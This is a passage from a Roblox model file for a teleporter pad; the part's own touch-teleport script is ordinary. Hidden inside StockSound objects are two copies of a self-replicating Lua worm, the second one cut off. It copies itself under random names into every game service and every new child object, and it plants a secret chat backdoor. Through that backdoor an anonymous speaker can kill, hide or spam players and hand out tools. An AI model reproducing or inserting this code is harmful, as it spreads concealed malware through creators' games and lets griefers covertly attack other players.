					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>1.20000005</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="IntValue" referent="RBX891">
					<Properties>
						<string name="Name">Enabled</string>
						<int name="Value">1</int>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX892">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">uwpa5fj</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX893">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">yu8v2</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Script" referent="RBX894">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">--Enter the name of the model you want to go to here.
------------------------------------
modelname=&quot;tele2&quot;
------------------------------------

function onTouched(part)
	if part.Parent ~= nil then
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
		if h~=nil then
			local teleportfrom=script.Parent.Enabled.Value
			if teleportfrom~=0 then
				if h==humanoid then
				return
				end
				local teleportto=script.Parent.Parent:findFirstChild(modelname)
				if teleportto~=nil then
					local torso = h.Parent.Torso
					local location = {teleportto.Position}
					local i = 1

					local x = location[i].x
					local y = location[i].y
					local z = location[i].z
				
					x = x + math.random(-1, 1)
					z = z + math.random(-1, 1)
					y = y + math.random(2, 3)

					local cf = torso.CFrame
					local lx = 0
					local ly = y
					local lz = 0
					
					script.Parent.Enabled.Value=0
					teleportto.Enabled.Value=0
					torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
					wait(.1)
					script.Parent.Enabled.Value=1
					teleportto.Enabled.Value=1
				else
					print(&quot;Could not find teleporter!&quot;)
				end
			end
		end
	end
end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX895">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">30esaa</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX896">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">m6q1bway</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
